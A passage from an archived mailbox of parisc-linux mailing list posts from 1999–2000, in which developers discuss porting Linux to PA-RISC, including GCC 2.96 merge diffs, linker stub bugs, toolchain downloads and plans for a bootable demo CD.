section, aside from the fact that it makes reading objdump output a
bit confusing, so we can change it back if there is a pressing reason.

Oh, and for a few hours, glibc builds were slightly broken because GCC
was not building crt{begin,end}.o, for reasons that are beyond me.
I've manually added them in GCC's configure.in, and it should build
again.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ding dong, reserved %r8 is dead
Date: Thu, 06 Jul 2000 16:27:05 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <13062.962922425@upchuck>
References: <87em56or0j.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618988 1304 80.91.229.3 (22 Nov 2014 01:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  6 16:24:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29542
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 16:24:58 -0600
Original-Received: (qmail 1875 invoked by uid 15267); 6 Jul 2000 22:26:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1840 invoked from network); 6 Jul 2000 22:26:20 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 22:26:20 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id QAA13065;
	Thu, 6 Jul 2000 16:27:05 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 06 Jul 2000 18:03:40 EDT.
             <87em56or0j.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7512


  In message <87em56or0j.fsf@linuxcare.com>you write:
  > One other thing - USE_CONST_SECTION is no longer defined to 0, so GCC
  > will put strings and such in a .rodata section.  I'm not sure why we
  > were avoiding this in the past - was it a SOM-ism?
?!?  No idea why that was done in your tree, it's certainly not like that
in the official GCC sources.

  > I guess there's no good reason not to have read-only data in the text
  > section, aside from the fact that it makes reading objdump output a
  > bit confusing, so we can change it back if there is a pressing reason.
It can be problematical for PIC code sometimes.

jeff


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] userspace
Date: Thu, 06 Jul 2000 16:33:16 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <E13AKCq-0006KR-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618989 1307 80.91.229.3 (22 Nov 2014 01:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@fc.hp.com  Thu Jul  6 16:30:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29857
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 16:30:43 -0600
Original-Received: (qmail 6174 invoked by uid 15267); 6 Jul 2000 22:32:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6165 invoked from network); 6 Jul 2000 22:32:07 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 22:32:07 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP id 0B728136
	for <parisc-linux@thepuffingroup.com>; Thu,  6 Jul 2000 18:32:07 -0400 (EDT)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 50A404FD82
	for <parisc-linux@thepuffingroup.com>; Thu,  6 Jul 2000 18:32:06 -0400 (EDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13AKCq-0006KR-00
	for <parisc-linux@thepuffingroup.com>; Thu, 06 Jul 2000 16:33:16 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7513


Check out ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/
for a bunch of user-space applications including a native compile tool
chain.  The more recent of these tarballs aren't in Matt's NFS roots
so you'll have to add them yourself.

I just fixed a problem in our implementation of the brk() syscall in
glibc, but most of the userspace apps are built with the broken brk()
which amazingly doesn't seem to bother them much.

In misc-utils.tgz are a bunch of handy things like ifconfig, make, and
ash which are placed in /usr/local/bin because some of them were built
using nasty hackery.  If you 'ln /usr/local/bin/ash /bin/sh' quite
a lot of interesting things start to happen in user space.  I've seen
most of a configure script work (core dumps in gcc stopped it) for
example.

OH, and the current cross compiler can be had by unpacking
ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000705.tgz
followed by
ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-patch-20000706.tgz
to pick up the libc.a with brk() fixed.
This tool chain is prior to any of the brokenness dhd mentioned.

	-Paul Bame


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Another possible linker problem
Date: Fri, 7 Jul 2000 09:06:26 +1000 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007070848540.12175-100000@front.linuxcare.com.au>
References: <E13AEnD-0000ju-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618989 1309 80.91.229.3 (22 Nov 2014 01:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Jul  6 17:05:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA30140
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 17:05:43 -0600
Original-Received: (qmail 1814 invoked by uid 15267); 6 Jul 2000 23:07:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1781 invoked from network); 6 Jul 2000 23:07:04 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 23:07:04 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA12869;
	Fri, 7 Jul 2000 09:06:26 +1000
In-Reply-To: <E13AEnD-0000ju-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7514

[cc to list in case others have the same problem.]

On Thu, 6 Jul 2000, Paul Bame wrote:

> I tried to x-compile ncurses-5.0 and the executables (tic, clear, tput,
> and so forth) will not link.  They seem to be created from a couple of
> large .o files, produced from 'ld -r' I think.  Here're the messages:
> 
> hppa1.1-linux-gcc ../objects/tic.o ../objects/dump_entry.o -L../lib -L/usr/lib -lncurses      -o tic
> /home/bame/xc/lib/gcc-lib/hppa1.1-linux/2.96.0614/../../../../hppa1.1-linux/bin/ld: can not size stub section: Bad value

I reckon this error is probably fixed by the patch I checked in last
night.  elf32_hppa_size_stubs had this code in it

		      if (hash->root.type == bfd_link_hash_undefined
			  || hash->root.type == bfd_link_hash_undefweak)
			continue;

		      while (hash->root.type == bfd_link_hash_indirect
			     || hash->root.type == bfd_link_hash_warning)
			hash = (struct elf_link_hash_entry *)
			  hash->root.u.i.link;

and the problem is that we may have an indirect symbol (results from
symbol versioning) pointing to an undefined symbol.  The simple fix is to
traverse the indirect links before checking for undefined syms.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Another possible linker problem
Date: Thu, 06 Jul 2000 17:16:07 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <13488.962925367@upchuck>
References: <Pine.LNX.4.21.0007070848540.12175-100000@front.linuxcare.com.au>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618989 1314 80.91.229.3 (22 Nov 2014 01:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:29 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  6 17:14:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA30375
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jul 2000 17:14:40 -0600
Original-Received: (qmail 8698 invoked by uid 15267); 6 Jul 2000 23:16:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8685 invoked from network); 6 Jul 2000 23:16:03 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 6 Jul 2000 23:16:03 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id RAA13491;
	Thu, 6 Jul 2000 17:16:07 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 07 Jul 2000 09:06:26 +1000.
             <Pine.LNX.4.21.0007070848540.12175-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7515


  In message <Pine.LNX.4.21.0007070848540.12175-100000@front.linuxcare.com.au>y
ou write:
  > [cc to list in case others have the same problem.]
  > I reckon this error is probably fixed by the patch I checked in last
  > night.  elf32_hppa_size_stubs had this code in it
  > 
  > 		      if (hash->root.type == bfd_link_hash_undefined
  > 			  || hash->root.type == bfd_link_hash_undefweak)
  > 			continue;
  > 
  > 		      while (hash->root.type == bfd_link_hash_indirect
  > 			     || hash->root.type == bfd_link_hash_warning)
  > 			hash = (struct elf_link_hash_entry *)
  > 			  hash->root.u.i.link;
  > 
  > and the problem is that we may have an indirect symbol (results from
  > symbol versioning) pointing to an undefined symbol.  The simple fix is to
  > traverse the indirect links before checking for undefined syms.
Yea, I don't think I ever implemented indirects in the PA tools.  I suspect
there's other PA code that doesn't handle them correctly.

I'm glad to see someone making the right things happen with that old crusty
code.


jeff


From - Thu Nov 08 21:12:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD for LWE
Date: Fri, 07 Jul 2000 14:56:16 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <E13AfAW-0006tj-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618990 1319 80.91.229.3 (22 Nov 2014 01:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@fc.hp.com  Fri Jul  7 14:53:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07558
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jul 2000 14:53:49 -0600
Original-Received: (qmail 18845 invoked by uid 15267); 7 Jul 2000 20:55:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18799 invoked from network); 7 Jul 2000 20:55:08 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 7 Jul 2000 20:55:08 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP id C2FB21B5A
	for <parisc-linux@thepuffingroup.com>; Fri,  7 Jul 2000 16:55:07 -0400 (EDT)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 500AC4FD89
	for <parisc-linux@thepuffingroup.com>; Fri,  7 Jul 2000 16:55:07 -0400 (EDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13AfAW-0006tj-00
	for <parisc-linux@thepuffingroup.com>; Fri, 07 Jul 2000 14:56:16 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7516


Hey Matt and I are planning a bootable/mountable CD-ROM (for at least
712 and A/B-180) to pass out at LinuxWorldExpo in August.  I've attached
a list of stuff which we want on it and want to know what other ideas
folks might have.

Issues:
    1) We're about to change system calls in a way which will require
       re-linking every current userspace program.  ARE THERE ANY OTHER
       KERNEL CHANGES which will require re-linking the whole world?

    2) Our "drop dead" date for the CD master is almost exactly a month away.
       Matt and I have vacations within this month but I think there
       is plenty of time to do something useful and fun.

    3) Our tool chain is in transition.  Matt and I won't have time to
	track late-breaking tool chain changes because there is still a
	bunch of hand work in cross-compiling userspacs apps (native
	compiling doesn't work often -- gcc segfaults).

    4) Lots of annoying things are broken -- how do we track and fix them?
	* gcc segfaults a lot under palinux.  For example the bison
	    configure script causes two gcc (cc1) segfaults.
	* /dev/tty doesn't work
	* when user-space processes fault, the kernel halts
	* you can't kill processes
	* login segfaults (unaligned memory access), which makes
	    telnetd and getty problematic
	* make sometimes segfaults (this might get fixed by rebuilding
	    with a newer glibc)
	* Intermittent panic in tulip_rx on B180 which probably requires
	    a busy LAN to reproduce

Ideas for the CD so far:

    Be directly bootable, with a working mounted root FS,
    on 712, and A/B-180 (others may work)
	Status: I have built and tested bootable/mountable CDs, but the
		required PALO changes are not all commited yet nor is
		the documentation complete.  We have somewhat interesting
		user space now.

    A binary copy of the x86-based cross compiler for Debian potato.
	Status: we're building this regularly.

    Copies of all the CVS trees from pehc which a developer would need,
    and possibly a script to fix up the CVS/Root files.

    Instructions for making a bootable hard disk from the CD (mkfs, fdisk,
    copy a bunch of stuff, run palo, reboot).
	Status: somebody need to write this

    If someone has too much time on their hands, a binary copy of the cross
    compiler hosted on HP-UX
	Status: unknown

    Copies of the PA-RISC documentation from pehc


	-Paul Bame


From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Neufeld <neufeld@physics.utoronto.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] GCC and static branch prediction
Date: Tue, 23 Mar 1999 11:12:33 -0500 (EST)
Lines: 58
Approved: news@gmane.org
Message-ID: <199903231612.LAA02124@caliban.physics.utoronto.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618990 1322 80.91.229.3 (22 Nov 2014 01:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:30 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: neufeld@caliban.physics.utoronto.ca  Tue Mar 23 11:12:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA32038
	for <hppa-linux@sod.res.cmu.edu>; Tue, 23 Mar 1999 11:12:51 -0500
Original-Received: (qmail 3026 invoked by uid 15267); 23 Mar 1999 16:11:43 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 3019 invoked from network); 23 Mar 1999 16:11:41 -0000
Original-Received: from caliban.physics.utoronto.ca (128.100.75.114)
  by mailserv2.iuinc.com with SMTP; 23 Mar 1999 16:11:41 -0000
Original-Received: (from neufeld@localhost)
	by caliban.physics.utoronto.ca (8.9.2/8.8.8) id LAA02124
	for hppa-linux@thepuffingroup.com; Tue, 23 Mar 1999 11:12:33 -0500 (EST)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:7517

   Hi,

   A few of us were discussing recently a way to take advantage of static
branch prediction in the PA-RISC architecture. The problem is that there
is no ANSI C construct for specifying whether a branch is likely taken,
or likely not taken.
   I wonder, though, if we can't maybe throw something together which
would work "well enough".

   What I'm thinking of is getting a couple of assembly NOPs (ones which
are not usually output by gcc / gas), and making macros for them to
inline the assembly into a C function.


[ ... do some stuff ... ]
if (error) {
	PARISC_BRANCH_LIKELY_TAKEN; /* i.e. usually don't enter the if() */
	[ ... do some more stuff ... ]
}
[ ... do some more stuff ... ]


or,


while (locked(ptr)) {
	do_other_things();

}
PARISC_BRANCH_LIKELY_TAKEN;  /* i.e. usually repeat the loop */


Now, if we can make an insn pattern which matches the noop to the branch
which came just before it, we can get the optimizer to produce the
correct static branch prediction on the preceding operation (and also,
while it's optimizing, delete the NOP). For other architectures, the
macros are defined away, and the macros need only be used in places where
we really need the extra boost (preferably only in the arch/parisc
directories, imagine Linus' face if we started dropping these macros all
over the kernel!).

   As I see it, there are a few things to worry about. Unrolling loops;
if(){}else{} clauses where the optimizer changes the sense of the test
for reasons known to itself, resulting in pessimized static branch
settings; correct interpretation of nested, optimized branches; any glue
code which is stuck on at the beginning and end of asm() statements which
may not be discarded even when the asm() consists solely of a NOP;
probably many others.


   Any thoughts?


-- 
 Christopher Neufeld                   neufeld@physics.utoronto.ca
 Home page:  http://caliban.physics.utoronto.ca/neufeld/Intro.html
 "Don't edit reality for the sake of simplicity"


From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC 2.96 merge (Linux/ELF, 32-bit for the time being)
Date: 07 Jul 2000 19:45:39 -0400
Organization: Linuxcare, Inc.
Lines: 2597
Approved: news@gmane.org
Message-ID: <87r995mrmk.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618990 1324 80.91.229.3 (22 Nov 2014 01:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Jul  7 17:45:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA09181
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jul 2000 17:45:09 -0600
Original-Received: (qmail 18243 invoked by uid 15267); 7 Jul 2000 23:46:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18232 invoked from network); 7 Jul 2000 23:46:34 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 7 Jul 2000 23:46:34 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13AhoS-0002SB-00
	for <parisc-linux@thepuffingroup.com>; Fri, 07 Jul 2000 19:45:40 -0400
Original-Lines: 2596
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7518

Hi,

I've merged the relevant bits from the puffin.external.hp.com CVS tree
with the current GCC 2.96 from sourceware.cygnus.com.

I've tested this by building the kernel with it (it prints a number of
warnings but is otherwise okay), building glibc with it, building ash
with that glibc, and running that ash binary.

Here is the diff against a checkout of current sourceware CVS.  I
don't expect this to be merged with mainline GCC as it is still pretty
messy, but I wanted to put the patch out for discussion.  (That's
partly why there is no ChangeLog entry with it, as a lot of this stuff
may change again in the near future when I add Linux/ELF64 support).

There are also two small generic updates in this patch, which
constitute the entirety of the changes to gcc/config/pa/pa.[ch].  The
first one (in pa.c) is from prumpf, it corrects a condition code
specifier, and the second one (in pa.h) is from me, to silence a
warning when processing the pa.md file.  These are at the top of the
patch.

I've had to do a lot of "conflict resolution" between the HP/SOM style
of assembly language dictated by the other PA-RISC configuration files
and headers in GCC and the semi-GNU/ELF style accepted by our current
binutils and dictated by the generic Linux configuration files and
headers.

The issues in particular are:

1) How global labels are declared.

2) Whether labels use colons.

3) The format of local labels.

I believe the comments in the patch below explain these issues so I
won't rehash them here.

This also is a statement of my intention to branch off the current
puffin.external.hp.com tree.  The branch tag for the old stuff is
'gcc-2_9-hppa-20000707'.  I'll add a new vendor tag for the vanilla
sourceware tree and put the modified version at the head either
tonight or tomorrow morning.

diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/config/pa/pa.c gcc-puffin/gcc/config/pa/pa.c
--- gcc-sourceware/gcc/config/pa/pa.c	Fri Jul  7 19:13:26 2000
+++ gcc-puffin/gcc/config/pa/pa.c	Thu Jul  6 17:12:36 2000
@@ -3944,7 +3944,7 @@
       switch (GET_CODE (x))
 	{
 	case EQ:
-	  fputs ("!=", file);  break;
+	  fputs ("<>", file);  break; /* this was "!=" which is bogus.  prumpf */
 	case NE:
 	  fputs ("=", file);  break;
 	case GT:
diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/config/pa/pa.h gcc-puffin/gcc/config/pa/pa.h
--- gcc-sourceware/gcc/config/pa/pa.h	Fri Jul  7 19:14:41 2000
+++ gcc-puffin/gcc/config/pa/pa.h	Fri Jul  7 12:08:47 2000
@@ -2044,4 +2044,5 @@
   {"basereg_operand", {REG}},						\
   {"div_operand", {REG, CONST_INT}},					\
   {"ireg_operand", {REG}},						\
-  {"movb_comparison_operator", {EQ, NE, LT, GE}},
+  {"movb_comparison_operator", {EQ, NE, LT, GE}},			\
+  {"cmpib_comparison_operator", {EQ, NE, GT, GE, GTU, LT, LE, LEU}},
diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/config/pa/pa-linux.h gcc-puffin/gcc/config/pa/pa-linux.h
--- gcc-sourceware/gcc/config/pa/pa-linux.h	Fri Jul  7 19:12:24 2000
+++ gcc-puffin/gcc/config/pa/pa-linux.h	Fri Jul  7 18:30:44 2000
@@ -18,9 +18,28 @@
 the Free Software Foundation, 59 Temple Place - Suite 330,
 Boston, MA 02111-1307, USA.  */
 
-/* FIXME - this doesn't seem to be used anywhere */
+/* FIXME: This doesn't seem to be used anywhere. */
 #define LINUX_DEFAULT_ELF
 
+/* FIXME: elfos.h doesn't #undef this.  We may want to remove the
+   other stuff from the tm_file definition in configure.in and just
+   include them manually here like i386 does. */
+#undef SELECT_SECTION
+
+#include <linux.h>
+
+/* sibcalls, stubs, and elf sections don't play well */
+#undef FUNCTION_OK_FOR_SIBCALL
+#define FUNCTION_OK_FOR_SIBCALL(x) 0
+
+#define TEXT_SECTION_ASM_OP "\t.text"
+#define DATA_SECTION_ASM_OP "\t.data"
+#define BSS_SECTION_ASM_OP "\t.section\t.bss"
+
+#undef SKIP_ASM_OP
+#define SKIP_ASM_OP ".blockz"
+
+/* FIXME: obviously this is just not going to work for hppa64-linux. */
 #undef SIZE_TYPE
 #define SIZE_TYPE "unsigned int"
 
@@ -30,13 +49,41 @@
 #undef CPP_PREDEFINES
 #define CPP_PREDEFINES "-D__ELF__ -Dunix -D__hppa__ -Dlinux -Asystem(unix) -Asystem(posix) -Acpu(hppa) -Amachine(hppa) -Amachine(bigendian)"
 
+/* On the other hand, neither is this. */
 #undef CPP_SPEC
-#define CPP_SPEC "%{posix:-D_POSIX_SOURCE}\
- %{msnake:-D_PA_RISC1_1}\
- %{mpa-risc-1-1:-D_PA_RISC1_1}"
+#define CPP_SPEC "%{fPIC:-D__PIC__ -D__pic__} %{fpic:-D__PIC__ -D__pic__} %{mhppa:-D__hppa__} %{posix:-D_POSIX_SOURCE} -D__hp9000s700 -D_PA_RISC1_1"
 
 #undef	LIB_SPEC
-#define LIB_SPEC "%{!p:%{!pg:-lc}}%{p:-lc_p}%{pg:-lc_p} -lmilli"
+#define LIB_SPEC "%{!p:%{!pg:-lc}}%{p:-lc_p}%{pg:-lc_p}"
+
+#undef ASM_SPEC
+#define ASM_SPEC \
+  "%{v:-V} %{n} %{T} %{Ym,*} %{Yd,*} %{Wa,*:%*}"
+
+/* Define the strings used for the special svr4 .type and .size directives.
+   These strings generally do not vary from one system running svr4 to
+   another, but if a given system (e.g. m88k running svr) needs to use
+   different pseudo-op names for these, they may be overridden in the
+   file which includes this one.  */
+
+#define TYPE_ASM_OP	".type"
+#define SIZE_ASM_OP	".size"
+#define SET_ASM_OP	".set"
+
+#undef STRING_ASM_OP
+#define STRING_ASM_OP   ".stringz"
+
+/* Output a definition */
+#define ASM_OUTPUT_DEF(FILE,LABEL1,LABEL2)				\
+do									\
+{									\
+    fprintf ((FILE), "\t%s\t", SET_ASM_OP);				\
+    assemble_name (FILE, LABEL1);					\
+    fprintf (FILE, ",");						\
+    assemble_name (FILE, LABEL2);					\
+    fprintf (FILE, "\n");						\
+    }									\
+while (0)
 
 /* How to renumber registers for dbx and gdb.
 
@@ -53,3 +100,65 @@
 #define DBX_REGISTER_NUMBER(REGNO) \
   ((REGNO) <= 31 ? (REGNO) :						\
    ((REGNO) > 31 && (REGNO) <= 87 ? (REGNO) + 40 : 32))
+
+/* Redefine these to generate the Linux/ELF/SysV style of internal
+   labels all the time - i.e. to be compatible with
+   ASM_GENERATE_INTERNAL_LABEL in <elfos.h>.  Compare these with the
+   ones in pa.h and note the lack of dollar signs in these.  FIXME:
+   shouldn't we fix pa.h to use ASM_GENERATE_INTERNAL_LABEL instead? */
+
+#undef ASM_OUTPUT_ADDR_VEC_ELT
+#define ASM_OUTPUT_ADDR_VEC_ELT(FILE, VALUE)  \
+  if (TARGET_BIG_SWITCH)                                        \
+    fprintf (FILE, "\tstw %%r1,-16(%%r30)\n\tldil LR'.L%d,%%r1\n\tbe RR'.L%d(%%sr4,%%r1)\n\tldw -16(%%r30),%%r1\n", VALUE, VALUE);               \
+  else                                                          \
+    fprintf (FILE, "\tb .L%d\n\tnop\n", VALUE)
+
+
+#undef ASM_OUTPUT_ADDR_DIFF_ELT
+#define ASM_OUTPUT_ADDR_DIFF_ELT(FILE, BODY, VALUE, REL)  \
+  if (TARGET_BIG_SWITCH)                                        \
+    fprintf (FILE, "\tstw %%r1,-16(%%r30)\n\tldw T'.L%d(%%r19),%%r1\n\tbv %%r0(%%r1)\n\tldw -16(%%r30),%%r1\n", VALUE);                            \
+  else                                                          \
+    fprintf (FILE, "\tb .L%d\n\tnop\n", VALUE)
+
+/* FIXME: The Linux/parisc gas does not enjoy labels without colons.
+   We haven't really decided on all the details of our assembly
+   dialect, and the ELF and Linux configuration we 'mix in' here does
+   generate colons, so for the time being we'll just go with the flow.
+   - dhd@linuxcare.com, 2000-07-06 */
+
+/* This is how to output the definition of a user-level label named NAME,
+   such as the label on a static function or variable NAME.  */
+
+#undef ASM_OUTPUT_LABEL
+#define ASM_OUTPUT_LABEL(FILE, NAME)	\
+  do { assemble_name (FILE, NAME); 	\
+       fputs (":\n", FILE); } while (0)
+
+/* NOTE: ASM_OUTPUT_INTERNAL_LABEL() is defined for us by elfos.h, and
+   does what we want (i.e. uses colons).  It must be compatible with
+   ASM_GENERATE_INTERNAL_LABEL(), so do not define it here. */
+
+/* FIXME: Yes, our dialect of assembly language gets more specific by
+   the minute.  <pa/pa.h> makes ASM_GLOBALIZE_LABEL a no-op for
+   functions, because the SOM code globalizes functions as part of
+   ASM_DECLARE_FUNCTION_NAME.  However, this breaks anything that uses
+   symbol references, glibc for instance.  Because .globl works just
+   fine in our assembler, we will use the default
